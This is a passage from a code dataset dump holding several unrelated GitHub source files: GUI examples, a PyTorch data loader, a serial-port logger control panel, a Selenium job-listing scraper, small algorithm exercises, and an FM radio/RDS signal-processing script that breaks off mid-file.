game.close()\n","repo_name":"hoonisone/ViZDoom-Rule-Based-Player","sub_path":"examples/python/mh_test/extract_log_from_record.py","file_name":"extract_log_from_record.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"26100229316","text":"from pyforms.basewidget import BaseWidget\nfrom pyforms.controls import ControlFile\nfrom pyforms.controls import ControlText\nfrom pyforms.controls import ControlSlider\nfrom pyforms.controls import ControlPlayer\nfrom pyforms.controls import ControlButton\n\nclass ComputerVisionAlgorithm(BaseWidget):\n\n def __init__(self, *args, **kwargs):\n super().__init__('Computer vision algorithm example')\n\n #Definition of the forms fields\n self._videofile = ControlFile('Video')\n self._outputfile = ControlText('Results output file')\n self._threshold = ControlSlider('Threshold', default=114, minimum=0, maximum=255)\n self._blobsize = ControlSlider('Minimum blob size', default=110, minimum=100, maximum=2000)\n self._player = ControlPlayer('Player')\n self._runbutton = ControlButton('Run')\n\n #Define the function that will be called when a file is selected\n self._videofile.changed_event = self.__video_file_selection_event\n #Define the event that will be called when the run button is processed\n self._runbutton.value = self.run_event\n #Define the event called before showing the image in the player\n self._player.process_frame_event = self.__process_frame\n\n #Define the organization of the Form Controls\n self._formset = [\n ('_videofile', '_outputfile'),\n '_threshold',\n ('_blobsize', '_runbutton'),\n '_player'\n ]\n\n\n def __video_file_selection_event(self):\n \"\"\"\n When the videofile is selected instanciate the video in the player\n \"\"\"\n self._player.value = self._videofile.value\n\n def __process_frame(self, frame):\n \"\"\"\n Do some processing to the frame and return the result frame\n \"\"\"\n return frame\n\n def run_event(self):\n \"\"\"\n After setting the best parameters run the full algorithm\n \"\"\"\n print(\"The function was executed\", self._videofile.value)\n\n\nif __name__ == '__main__':\n\n from pyforms import start_app\n start_app(ComputerVisionAlgorithm)","repo_name":"UmSenhorQualquer/pyforms","sub_path":"example/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":609,"dataset":"github-code","pt":"52"} +{"seq_id":"17087368179","text":"import torch\nfrom torch.utils.data import TensorDataset\nimport pickle\nimport numpy as np\nimport pandas as pd\nfrom train_parameters import *\nfrom src.normalization import Normalization\nfrom src.voigt_rotation import *\nfrom src.model_utils import CPU_Unpickler\n \ndef exportTensor(name,data,cols, header=True):\n df=pd.DataFrame.from_records(data.detach().numpy())\n if(header):\n df.columns = cols\n print(name)\n df.to_csv(name+\".csv\", header=header, index=False)\n\ndef exportList(name,data):\n arr=np.array(data)\n np.savetxt(name+\".csv\", [arr], delimiter=',')\n\ndef getNormalization(save_normalization=False):\n \n data = pd.read_csv(dataPath)\n # check for NaNs \n assert not data.isnull().values.any()\n \n F1_features = torch.tensor(data[F1_features_names].values)\n R2 = torch.tensor(data[R2_names].values)\n V = torch.tensor(data[V_names].values)\n C_ort = torch.tensor(data[C_ort_names].values)\n C = torch.tensor(data[C_names].values)\n\n a,b,c = torch.split(R2,[1,1,1],dim=1)\n R2_transposed = torch.cat((-a,b,c),dim=1)\n unrotatedlabelTensor = direct_rotate(C,R2_transposed)\n\n F1_features_scaling = Normalization(F1_features,F1_features_types,F1_features_scaling_strategy)\n V_scaling = Normalization(V,V_types,V_scaling_strategy)\n C_ort_scaling = Normalization(C_ort, C_ort_types,C_ort_scaling_strategy)\n C_scaling = Normalization(C,C_types,C_scaling_strategy)\n C_hat_scaling = Normalization(unrotatedlabelTensor,C_types,C_hat_scaling_strategy)\n\n # should only be activated if framework is retrained with different dataset\n if save_normalization:\n with open('src/normalization/F1_features_scaling.pickle', 'wb') as file_:\n pickle.dump(F1_features_scaling, file_, -1)\n with open('src/normalization/V_scaling.pickle', 'wb') as file_:\n pickle.dump(V_scaling, file_, -1)\n with open('src/normalization/C_ort_scaling.pickle', 'wb') as file_:\n pickle.dump(C_ort_scaling, file_, -1)\n with open('src/normalization/C_scaling.pickle', 'wb') as file_:\n pickle.dump(C_scaling, file_, -1)\n with open('src/normalization/C_hat_scaling.pickle', 'wb') as file_:\n pickle.dump(C_hat_scaling, file_, -1)\n return F1_features_scaling, C_ort_scaling, C_scaling, V_scaling, C_hat_scaling\n\ndef getSavedNormalization():\n \n F1_features_scaling = CPU_Unpickler(open(\"src/normalization/F1_features_scaling.pickle\", \"rb\", -1)).load()\n V_scaling = CPU_Unpickler(open(\"src/normalization/V_scaling.pickle\", \"rb\", -1)).load()\n C_ort_scaling = CPU_Unpickler(open(\"src/normalization/C_ort_scaling.pickle\", \"rb\", -1)).load()\n C_scaling = CPU_Unpickler(open(\"src/normalization/C_scaling.pickle\", \"rb\", -1)).load()\n C_hat_scaling = CPU_Unpickler(open(\"src/normalization/C_hat_scaling.pickle\", \"rb\", -1)).load()\n return F1_features_scaling, C_ort_scaling, C_scaling, V_scaling, C_hat_scaling\n\ndef getDataset(F1_features_scaling, V_scaling, C_ort_scaling, C_scaling):\n \n data = pd.read_csv(dataPath)\n \n print('Data: ',data.shape) \n # check for NaNs \n assert not data.isnull().values.any()\n \n F1_features = torch.tensor(data[F1_features_names].values)\n R1 = torch.tensor(data[R1_names].values)\n R2 = torch.tensor(data[R2_names].values)\n V = torch.tensor(data[V_names].values)\n C_ort = torch.tensor(data[C_ort_names].values)\n C = torch.tensor(data[C_names].values)\n\n F1_features = F1_features_scaling.normalize(F1_features)\n V = V_scaling.normalize(V)\n C_ort = C_ort_scaling.normalize(C_ort)\n C = C_scaling.normalize(C)\n \n dataset = TensorDataset(F1_features.float(), R1.float(), V.float(), R2.float(), C_ort.float(), C.float())\n l1 = round(len(dataset)*traintest_split)\n l2 = len(dataset) - l1\n print('train/test: ',[l1,l2],'\\n\\n')\n train_set, test_set = torch.utils.data.random_split(dataset, [l1,l2], generator=torch.Generator().manual_seed(42))\n return train_set, test_set\n\ndef getDataset_pred(C_scaling,E,dataPath_pred):\n \n data = pd.read_csv(dataPath_pred)\n \n print('Data: ',data.shape) \n # check for NaNs \n assert not data.isnull().values.any()\n \n C = torch.tensor(data[C_names].values)\n # normalize stiffness by Young's modulus of base material\n C = torch.div(C,E)\n C = C_scaling.normalize(C)\n dataset = C.float()\n return dataset","repo_name":"jhbastek/InvertibleTrussDesign","sub_path":"src/loadDataset.py","file_name":"loadDataset.py","file_ext":"py","file_size_in_byte":4410,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"52"} +{"seq_id":"14344426380","text":"#http://effbot.org/tkinterbook/tkinter-classes.htm\nfrom tkinter import *\nimport logging, time\nfrom serial import Serial\nfrom common import get_logger_name, get_flash_id, read_vbatt\nfrom common import serial_port_best_guess, save_default_port\nfrom dev.set_rtc import set_rtc, read_rtc\n\n\nprint('Detected ports:')\nDEFAULT_PORT = serial_port_best_guess(prompt=True)\nprint('- - -')\nPORT = input('PORT=? (default={})'.format(DEFAULT_PORT)).strip()\n# empty input, use default\nif '' == PORT:\n PORT = DEFAULT_PORT\nprint(PORT)\n\nwith Serial(PORT, 115200, timeout=1) as ser:\n save_default_port(PORT)\n\n\nclass App:\n def __init__(self, master):\n \n row1 = Frame(master)\n row1.pack()\n\n row_status = Frame(master)\n row_status.pack()\n\n row_sensors = Frame(master)\n row_sensors.pack()\n \n row_memory = Frame(master)\n row_memory.pack()\n\n row_led = Frame(master)\n row_led.pack()\n\n row_config = Frame(master)\n row_config.pack()\n\n row_logging = Frame(master)\n row_logging.pack()\n\n self.label1 = StringVar()\n self.label = Label(row1, textvariable=self.label1)\n self.label.pack(side=LEFT)\n\n self.get_name = Button(row_status, text='GET NAME', command=self.get_name)\n self.get_name.pack(side=LEFT)\n\n self.get_id = Button(row_status, text='GET ID', command=self.get_id)\n self.get_id.pack(side=LEFT)\n\n self.get_vbatt = Button(row_status, text='READ BATTERY VOLTAGE', command=self.get_vbatt)\n self.get_vbatt.pack(side=LEFT)\n\n self.read_temperature = Button(row_sensors, text='READ TEMPERATURE', command=self.read_temperature)\n self.read_temperature.pack(side=LEFT)\n\n self.read_pressure = Button(row_sensors, text='READ PRESSURE', command=self.read_pressure)\n self.read_pressure.pack(side=LEFT)\n\n self.read_ambient_lx = Button(row_sensors, text='READ AMBIENT', command=self.read_ambient_lx)\n self.read_ambient_lx.pack(side=LEFT)\n\n self.read_memory = Button(row_memory, text='EXTRACT DATA', command=self.read_memory)\n self.read_memory.pack(side=LEFT)\n\n self.clear_memory = Button(row_memory, text='CLEAR MEMORY', command=self.clear_memory)\n self.clear_memory.pack(side=LEFT)\n\n self.red_led_on = Button(row_led, text='RED ON', fg='red', command=self.red_led_on)\n self.red_led_on.pack(side=LEFT)\n\n self.red_led_off = Button(row_led, text='RED OFF', command=self.red_led_off)\n self.red_led_off.pack(side=LEFT)\n\n self.green_led_on = Button(row_led, text='GREEN ON', fg='green', command=self.green_led_on)\n self.green_led_on.pack(side=LEFT)\n\n self.green_led_off = Button(row_led, text='GREEN OFF', command=self.green_led_off)\n self.green_led_off.pack(side=LEFT)\n\n self.blue_led_on = Button(row_led, text='BLUE ON', fg='blue', command=self.blue_led_on)\n self.blue_led_on.pack(side=LEFT)\n\n self.blue_led_off = Button(row_led, text='BLUE OFF', command=self.blue_led_off)\n self.blue_led_off.pack(side=LEFT)\n\n\n self.v = IntVar()\n self.v.set(2)\n self.radio1 = Radiobutton(row_config, text='0.2 second', variable=self.v, value=0)\n self.radio1.pack(anchor=W)\n self.radio2 = Radiobutton(row_config, text='1 second', variable=self.v, value=1)\n self.radio2.pack(anchor=W)\n self.radio3 = Radiobutton(row_config, text='60 second', variable=self.v, value=2)\n self.radio3.pack(anchor=W)\n\n self.set_logging_interval = Button(row_config, text='SET SAMPLING INTERVAL', command=self.set_logging_interval)\n self.set_logging_interval.pack(side=LEFT)\n \n self.set_clock = Button(row_logging, text='SET CLOCK', command=self.set_clock)\n self.set_clock.pack(side=LEFT)\n\n self.start_logging = Button(row_logging, text='START Logging', command=self.start_logging)\n self.start_logging.pack(side=LEFT)\n\n self.stop_logging = Button(row_logging, text='STOP Logging', command=self.stop_logging)\n self.stop_logging.pack(side=LEFT)\n\n #self.button = Button(row_status, text='QUIT', fg='red', command=row.quit)\n #self.button.pack(side=LEFT)\n\n #self.text = Text(row_logging)\n #self.text.pack(side=LEFT)\n\n def get_name(self):\n logging.debug('get_name')\n with Serial(PORT, 115200, timeout=1) as ser:\n self.label1.set(get_logger_name(ser))\n\n def get_id(self):\n logging.debug('get_id')\n with Serial(PORT, 115200, timeout=1) as ser:\n self.label1.set(get_flash_id(ser))\n \n def read_memory(self):\n logging.debug('read_memory')\n\n def clear_memory(self):\n logging.debug('clear_memory')\n\n def start_logging(self):\n logging.debug('start_logging')\n\n def stop_logging(self):\n logging.debug('stop_logging')\n\n def set_logging_interval(self):\n print(self.v.get())\n\n def get_vbatt(self):\n logging.debug('get_vbatt')\n with Serial(PORT, 115200, timeout=1) as ser:\n self.label1.set(str(read_vbatt(ser)) + 'V')\n\n def read_temperature(self):\n logging.debug('read_temperature')\n with Serial(PORT, 115200, timeout=1) as ser:\n ser.write(b'read_temperature')\n self.label1.set(ser.readline().decode().strip())\n\n def read_pressure(self):\n logging.debug('read_pressure')\n with Serial(PORT, 115200, timeout=1) as ser:\n ser.write(b'read_pressure')\n self.label1.set(ser.readline().decode().strip())\n\n def read_ambient_lx(self):\n logging.debug('read_ambient_lx')\n with Serial(PORT, 115200, timeout=1) as ser:\n ser.write(b'read_ambient_lx')\n r = ser.readline().decode().strip().split(',')[0]\n self.label1.set(r)\n\n def set_clock(self):\n logging.debug('set_rtc')\n with Serial(PORT, 115200, timeout=1) as ser:\n set_rtc(ser, time.time())\n self.label1.set(read_rtc(ser))\n\n def red_led_on(self):\n logging.debug('red_led_on')\n Serial(PORT, 115200, timeout=1).write(b'red_led_on')\n\n def red_led_off(self):\n logging.debug('red_led_off')\n Serial(PORT, 115200, timeout=1).write(b'red_led_off')\n\n def green_led_on(self):\n logging.debug('green_led_on')\n Serial(PORT, 115200, timeout=1).write(b'green_led_on')\n\n def green_led_off(self):\n logging.debug('green_led_off')\n Serial(PORT, 115200, timeout=1).write(b'green_led_off')\n\n def blue_led_on(self):\n logging.debug('blue_led_on')\n Serial(PORT, 115200, timeout=1).write(b'blue_led_on')\n\n def blue_led_off(self):\n logging.debug('blue_led_off')\n Serial(PORT, 115200, timeout=1).write(b'blue_led_off')\n\n\nlogging.basicConfig(level=logging.DEBUG)\n\nroot = Tk()\n\napp = App(root)\n\nroot.mainloop()\n#root.destroy()\n\n\n\n\n","repo_name":"danshyles/plsworkshop","sub_path":"mesh-lab/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":6926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1812490920","text":"import time\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException, NoSuchElementException\n\nfrom utils.helpers import (\n log_error,\n log_run_begin,\n log_run_end,\n create_driver,\n examine_current_job_list,\n normalize_career_site_url,\n parse_url_for_uuid,\n)\n\nfrom utils.queries import (\n get_company_by_ats,\n insert_job,\n update_inactive_jobs,\n)\n\nfrom utils.models import Job\n\n\n# TODO: add tests, prints -> logging\n\n\nATS_TO_SCRAPE = \"Ashby\"\nATS_BASE_URL = \"https://jobs.ashbyhq.com\"\n\n\ndef get_job_details(job: Job) -> Job | None:\n driver = create_driver()\n try:\n driver.get(job.url)\n WebDriverWait(driver, 10).until(\n EC.presence_of_element_located(\n (By.CSS_SELECTOR, \".ashby-job-posting-left-pane\")\n )\n )\n details = driver.find_elements(\n By.CSS_SELECTOR, \".ashby-job-posting-left-pane > div\"\n )\n for detail in details:\n if detail.find_element(By.CSS_SELECTOR, \"h2\").text == \"Location\":\n job.location = detail.find_element(By.CSS_SELECTOR, \"p\").text\n if job.location.lower() == \"remote\":\n job.remote = True\n if detail.find_element(By.CSS_SELECTOR, \"h2\").text == \"Compensation\":\n job.salary = detail.find_element(By.CSS_SELECTOR, \"ul > li > span\").text\n job.description = driver.find_element(By.ID, \"overview\").text\n except TimeoutException:\n log_error(scrape_run_id, f\"Timed out on {job.url}\")\n except NoSuchElementException as error:\n log_error(scrape_run_id, error)\n driver.close()\n return job\n\n\ndef get_current_job_list(career_site_url: str) -> list[Job]:\n job_list = []\n driver = create_driver()\n try:\n driver.get(career_site_url)\n WebDriverWait(driver, 10).until(\n EC.presence_of_element_located(\n (By.CSS_SELECTOR, \".ashby-job-posting-brief-list\")\n )\n )\n postings = driver.find_elements(\n By.CSS_SELECTOR, \".ashby-job-posting-brief-list > a\"\n )\n for posting in postings:\n try:\n job = Job()\n job.title = posting.find_element(By.CSS_SELECTOR, \"h3\").text\n job.url = posting.get_attribute(\"href\")\n job.id = parse_url_for_uuid(job.url, career_site_url)\n job_list.append(job)\n except ValueError as error:\n log_error(scrape_run_id, error)\n except TimeoutException:\n log_error(scrape_run_id, f\"Timed out on {career_site_url}\")\n except NoSuchElementException as error:\n log_error(scrape_run_id, error)\n driver.close()\n return job_list\n\n\ndef scrape_jobs() -> None:\n company_queryset = get_company_by_ats(ATS_TO_SCRAPE)\n for result in company_queryset:\n time.sleep(1)\n career_site_url = normalize_career_site_url(result[2])\n print(f\"{scrape_run_id} | {result[1]} | {career_site_url}\")\n current_job_list = get_current_job_list(career_site_url)\n if current_job_list:\n ids_to_add, ids_to_deactivate = examine_current_job_list(\n current_job_list, result[0]\n )\n if ids_to_add:\n print(f\"{len(ids_to_add)} jobs found to add\")\n for job in current_job_list:\n if job.id in list(ids_to_add):\n time.sleep(5)\n job = get_job_details(job)\n job.company_id = result[0]\n job.active = True\n job.new = True\n job.scrape_run_id = scrape_run_id\n insert_job(job)\n else:\n print(f\"No new jobs found for {career_site_url}\")\n if ids_to_deactivate:\n print(f\"{len(ids_to_deactivate)} jobs found to deactivate\")\n update_inactive_jobs(list(ids_to_deactivate), scrape_run_id)\n else:\n print(f\"No jobs found for {career_site_url}\")\n return\n\n\nif __name__ == \"__main__\":\n scrape_run_id, run_time = log_run_begin(ATS_TO_SCRAPE)\n scrape_jobs()\n log_run_end(scrape_run_id, ATS_TO_SCRAPE)\n","repo_name":"calicojackdev/Bonhomme-Richard","sub_path":"src/scrapers/ashby.py","file_name":"ashby.py","file_ext":"py","file_size_in_byte":4390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"86749743797","text":"def test(nums):\n global_sum = current_max = nums[0]\n for num in nums:\n current_max = max(num, current_max + num)\n global_sum = max(current_max, global_sum)\n return global_sum\n\n# Kadane's Algorithm\n# The idea is to calculate the previous best subarray and determining if the best subarray previous is better\n# Than the current local number if it is then that is the best sub array if not, then the best subarray will\n# Start from the local number and then (the following)\n\n# [-2, 1, 3]\n# [-2 ] is the current best (local)\n# 1 (local) vs (-2)current best + (1)local = since local is better than the combined previuos subarray then local becomes best\n# 3 (local) vs (1) current best + (3) local = since current+local is better it becomes the current best\n# Thus resulting in the best sum subarray = 4 = [1,3]\n\ntest([-2, 1])\n","repo_name":"SeanErvinson/leetcode","sub_path":"maximum-subarray/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43724498596","text":"import numpy\n\nclass thumbnailext:\n\t\"\"\"\n\tthumbnailext description\n\t\"\"\"\n\tdef __init__(self, ownerComp):\n\t\t# The component to which this extension is attached\n\t\tself.ownerComp = ownerComp\n\t\tself.materialThumbCOMP = op('material_thumb')\n\t\tself.materialBgTOP = op('material_thumb/bg')\n\n\t\tself.meshThumbCOMP = op('mesh_thumb')\n\t\tself.meshBgTOP = op('mesh_thumb/bg')\n\n\t\tself.iblThumbTOP = op('ibl_thumb/bg')\n\t\tself.pointThumbTOP = op('pointlight_thumb/bg')\n\t\tself.spotThumbTOP = op('spotlight_thumb/bg')\n\n\t\tself.ThumbnailCOMPS = {\n\t\t\t0:op('mesh_thumb'), # mesh\n\t\t\t1:op('material_thumb'), # material\n\t\t\t2:op('null_thumb'), # null\n\t\t\t10:op('ibl_thumb'), # envlight\n\t\t\t11:op('pointlight_thumb'), # pointlight\n\t\t\t12:op('spotlight_thumb'), # spotlight\n\t\t\t100:op('instance_thumb'), # instance node\n\t\t\t202:op('camera_thumb'), # camera\n\t\t\t220:op('settingsmanager_thumb'), # settingsmanager node\n\t\t\t221:op('lightmanager_thumb'), # lightmanager node\n\t\t}\n\n\tdef Fetch_Outliner_Thumb_Path(self, sourceAssetCOMP):\n\t\tObjtype = sourceAssetCOMP.par.Objtype.eval()\n\t\tObj = self.ThumbnailCOMPS.get(Objtype,None)\n\n\t\tif Obj == None:\n\t\t\tdebug(f'{sourceAssetCOMP} not found in thumbnail creation modules, skipping...')\n\t\t\treturn None\n\t\t\n\t\treturn Obj.op('outliner')\n\n\n\tdef Create_Thumbnail(self, destinationScriptTOP, sourceAssetCOMP, resolution):\n\t\t'''\n\t\tA catch all function for returning a thumbnail of an object who's thumbnail is not dynamic.\n\t\tThe Objtype parameter determins the texture that is returned.\n\t\t'''\n\n\t\tObjtype = sourceAssetCOMP.par.Objtype.eval()\n\t\tObj = self.ThumbnailCOMPS.get(Objtype,None)\n\n\t\tif Obj == None:\n\t\t\tdebug(f'{sourceAssetCOMP} not found in thumbnail creation modules, skipping...')\n\t\t\treturn\n\n\t\tObj.par.Size = resolution\n\t\tObj.par.Comp = sourceAssetCOMP\n\t\tBg = Obj.op('bg')\n\t\tBg.cook(force=True)\n\n\t\timg = Bg.numpyArray(delayed=False, writable=True)\n\n\t\t# numpy image array comes from top as 32 bit always, covnert to 8 to save space.\n\t\timg *= 255\n\t\timg = img.astype(numpy.uint8)\n\t\t# img[0::, 0::, 3] = 255 # set alpha to 1\n\n\t\t# print(destinationScriptTOP)\n\n\t\tdestinationScriptTOP.copyNumpyArray(img)\n\t\tdestinationScriptTOP.cook(force=True)","repo_name":"weareenvoy/TD-Filament","sub_path":"tdfil/code/td-extensions/thumbnailext.py","file_name":"thumbnailext.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36191984991","text":"from __future__ import print_function\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\n\ndef cv_2_tensor(img, dtype=np.float32, flagCuda=False):\n if ( 3 == len(img.shape) ):\n t = torch.from_numpy(img.astype(dtype)).permute(2,0,1).unsqueeze(0)\n\n if ( flagCuda ):\n t = t.cuda()\n \n return t\n elif ( 2 == len(img.shape) ):\n t = torch.from_numpy(img.astype(dtype)).unsqueeze(0).unsqueeze(0)\n\n if ( flagCuda ):\n t = t.cuda()\n\n return t\n else:\n raise Exception(\"img.shape must have length 3 or 2. len(img.shape) = {}. \".format(len(img.shape)))","repo_name":"huyaoyu/NewStereo","sub_path":"Components/TorchBridge.py","file_name":"TorchBridge.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"34614240719","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 15 08:21:12 2020\n\n@author: hhshhd\n\"\"\"\n# program to store class records and marks.\n\nlimit = 4\nvalues = [20,6,38,50,40]\nflag = True\nfor counter1 in range(limit-1):\n minimum = counter1\n \n for counter2 in range(counter1+1,limit):\n if values[counter2] < values[minimum]:\n minimum = counter2\n if minimum != counter1:\n temporary = values[minimum]\n values[minimum] = values[counter1]\n values[counter1] = temporary\n\n\nwhile flag == True:\n flag = False\n for counter in range(limit-1):\n if values[counter] > values[counter+1]:\n temporary = values[counter]\n values[counter] = values[counter+1]\n values[counter+1] = temporary\n flag = True\n\nfor i in range(limit):\n print(values[counter])\n\n\n","repo_name":"hhshhd/hhshhd","sub_path":"IB CS/Hw/2020.1.15report/Q15 program to records and marks.py","file_name":"Q15 program to records and marks.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24467765245","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.io import wavfile\nfrom scipy import signal, fft\nfrom math import sin, pi, ceil\nimport math\n\nimport scipy\n\n\n#from fmStereoBlock import myBandpass, plotAndSavePSD\nfrom PLL.fmPll import fmPll\n\n# use fmDemodArctan and fmPlotPSD\nfrom fmSupportLib import fmDemodArctan, fmPlotPSD\n# for take-home add your functions\n\n# the radio-frequency (RF) sampling rate\n# this sampling rate is either configured on RF hardware\n# or documented when a raw file with IQ samples is provided\nrf_Fs = 2.4e6\n\n# the cutoff frequency to extract the FM channel from raw IQ data\nrf_Fc = 100e3\n\n# the number of taps for the low-pass filter to extract the FM channel\n# this default value for the width of the impulse response should be changed\n# depending on some target objectives, like the width of the transition band\n# and/or the minimum expected attenuation from the pass to the stop band\nrf_taps = 151\n\n# the decimation rate when reducing the front end sampling rate (i.e., RF)\n# to a smaller samping rate at the intermediate frequency (IF) where\n# the demodulated data will be split into the mono/stereo/radio data channels\nrf_decim = 10\n\n# audio sampling rate (we assume audio will be at 48 KSamples/sec)\naudio_Fs = 48e3\n# should be the same ∫as rf_Fs / rf_decim / audio_decim\n\n\n\n\n\nP=[\n [1,0,0,0,0,0,0,0,0,0], #0\n [0,1,0,0,0,0,0,0,0,0], #1\n [0,0,1,0,0,0,0,0,0,0], #2\n [0,0,0,1,0,0,0,0,0,0], #3\n [0,0,0,0,1,0,0,0,0,0], #4\n [0,0,0,0,0,1,0,0,0,0], #5\n [0,0,0,0,0,0,1,0,0,0], #6\n [0,0,0,0,0,0,0,1,0,0], #7\n [0,0,0,0,0,0,0,0,1,0], #8\n [0,0,0,0,0,0,0,0,0,1], #9\n [1,0,1,1,0,1,1,1,0,0], #10\n [0,1,0,1,1,0,1,1,1,0], #11\n [0,0,1,0,1,1,0,1,1,1], #12\n [1,0,1,0,0,0,0,1,1,1], #13\n [1,1,1,0,0,1,1,1,1,1], #14\n [1,1,0,0,0,1,0,0,1,1], #15\n [1,1,0,1,0,1,0,1,0,1], #16\n [1,1,0,1,1,1,0,1,1,0], #17\n [0,1,1,0,1,1,1,0,1,1], #18\n [1,0,0,0,0,0,0,0,0,1], #19\n [1,1,1,1,0,1,1,1,0,0], #20\n [0,1,1,1,1,0,1,1,1,0], #21\n [0,0,1,1,1,1,0,1,1,1], #22\n [1,0,1,0,1,0,0,1,1,1], #23\n [1,1,1,0,0,0,1,1,1,1], #24\n [1,1,0,0,0,1,1,0,1,1] #25\n]\n\n\n\nSyndromes={\n \"A\" :[1,1,1,1,0,1,1,0,0,0],\n \"B\" :[1,1,1,1,0,1,0,1,0,0],\n \"C\" :[1,0,0,1,0,1,1,1,0,0],\n \"C'\":[1,1,1,1,0,0,1,1,0,0],\n \"D\" :[1,0,0,1,0,1,1,0,0,0]\n}\n\n\n\n\ndef firwinImpl(Ntaps, Fc, Fs):\n\th = np.zeros(Ntaps)\n\tnorm_cutoff = 2 * (Fc/Fs)\n\tfor i in range(Ntaps):\n\t\tif (i == (Ntaps-1)/2):\n\t\t\th[i] = (norm_cutoff)\n\t\telse:\n\t\t\th[i] = (norm_cutoff * (sin(pi*norm_cutoff*(i-(Ntaps-1)/2))) /\n\t\t\t (pi*norm_cutoff*(i-(Ntaps-1)/2)))\n\n\t\th[i] = h[i] * (sin((i*pi)/Ntaps) * sin((i*pi)/Ntaps))\n\n\treturn h\n\n\ndef singlePassImpl(audioData, audioCoeff):\n\taudioOut = np.zeros(len(audioCoeff) + len(audioData) - 1)\n\n\tfor n in range(len(audioOut)):\n\t\tfor k in range(len(audioCoeff)):\n\t\t\tif n-k >= 0 and n-k < len(audioData):\n\t\t\t\taudioOut[n] += audioCoeff[k]*audioData[n-k]\n\treturn audioOut\n\n\ndef myBandPassFirwin(freqLow, freqHigh, Fs, tapAmount):\n\n\tfirwin_coeff = signal.firwin(\n\t\ttapAmount, [freqLow/(Fs/2), freqHigh/(Fs/2)], pass_zero=False)\n\t# freqzPlot(firwin_coeff, Fs, 'firwin for ' + str(int(Fc)) + ' Hz cutoff with ' + str(N_taps) + ' taps')\n\treturn firwin_coeff\n\n\ndef plotAndSavePSD(signal, name):\n\n\t# plot PSD of selected block after FM demodulation\n\tax0.clear()\n\tfmPlotPSD(ax0, signal, (rf_Fs/rf_decim)/1e3, subfig_height[0],\n\t\t\t\t'Demodulated FM (block ' + ')' + \" - Python \")\n\t# output binary file name (where samples are written from Python)\n\tfm_demod_fname = \"data/fm_demod\" + \".bin\"\n\t# create binary file where each sample is a 32-bit float\n\tfm_demod = np.asarray(signal, np.float32)\n\tfm_demod.astype('float32').tofile(fm_demod_fname)\n\n\t# save figure to file\n\tfig.savefig(\"data/fmMonoBlock\" + name + \".png\")\n\n\treturn\n\n\ndef logArray(array, arrayName):\n\tfileName = \"logs/\"+arrayName+\".txt\"\n\twith open(fileName, \"w\") as file:\n\t\tfor i in range(len(array)):\n\t\t\tline = \"[\"+str(i)+\"]\"+\": \"+str(array[i])\n\t\t\tfile.write(f\"{line}\\n\")\n\n\ndef myBandpass(fb, fe, fs, Ntaps):\n\n\tnormCenter = ((fe+fb)/2.0)/(fs/2.0)\n\tnormPass = (fe-fb)/(fs/2.0)\n\n\th = [0.0]*Ntaps\n\n\tfor i in range(Ntaps):\n\t\tif (i == ((Ntaps-1.0)/2.0)):\n\t\t\th[i] = normPass\n\n\t\telse:\n\t\t\tneum = normPass * \\\n\t\t\t\tmath.sin(math.pi*(normPass/2.0)*(i-(Ntaps-1.0)/2.0))\n\t\t\tdenom = math.pi*(normPass/2.0)*(i-(Ntaps-1)/2.0)\n\t\t\th[i] = neum/denom\n\t\th[i] = h[i]*math.cos(i*math.pi*normCenter)\n\t\th[i] = h[i]*(math.sin(i*math.pi/Ntaps)**2)\n\n\treturn h\n\n\ndef freqzPlot(coeff, Fs, msg):\n\n\t# find the frequency response using freqz from SciPy:\n\t# https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.freqz.html\n\tw, h = signal.freqz(coeff)\n\n\t# Reminder: np.pi rad/sample is actually the Nyquist frequency\n\tw = w * Fs/(2*np.pi) # needed to draw the frequency on the X axis\n\n\t# plots the magnitude response where the x axis is normalized in rad/sample\n\tfig, ax1 = plt.subplots()\n\tax1.set_title('Digital filter frequency response (' + msg + ')')\n\tax1.plot(w, 20 * np.log10(abs(h)), 'b')\n\tax1.set_ylabel('Amplitude [dB]', color='b')\n\tax1.set_xlabel('Frequency [Hz]')\n\n\ndef conv_resampler_fast(x,h,m,state,du,ds): #du is U ds is N\n #y=np.zeros(int((du*len(x)+len(h))//ds))\n y=np.zeros(int((len(x)*(du/ds))))\n\n for n in range(len(y)):\n #define phase for each value of y we want to calculate\n phase=int(((n*ds)%du))\n #k=phase\n for k in range(phase,len(h)):\n \n \n #concolve x by h\n j= int( ((n*ds-k)/du) )\n\n #convolve\n if(j>=0):\n y[n]+=h[k]*x[j] #Must use J for x here\n else:\n if(m==0):\n y[n] += h[k]*x[0]\n else:\n y[n] += h[k]*state[len(state)+j]\n \n \n k+=du\n\n \n # k+=du #must increment k by this much\n state=x[-(len(h)-1):]\n return y,state\n\ndef conv_downsample_fast(x,h,ds): #The fast way to compute convolution with downsampling\n y=np.zeros((1,len(x)+len(h))/2)\n for n in range(y):\n for k in range(h):\n N=ds*N\n if n-k>=0 and n-k max:\n max_i = i \n max = data[i]\n if data[i] < min:\n min_i = i\n min = data[i]\n if abs(max) > abs(min):\n return max_i\n else:\n return min_i \n\n\n\ndef matchSyndrome(block):\n 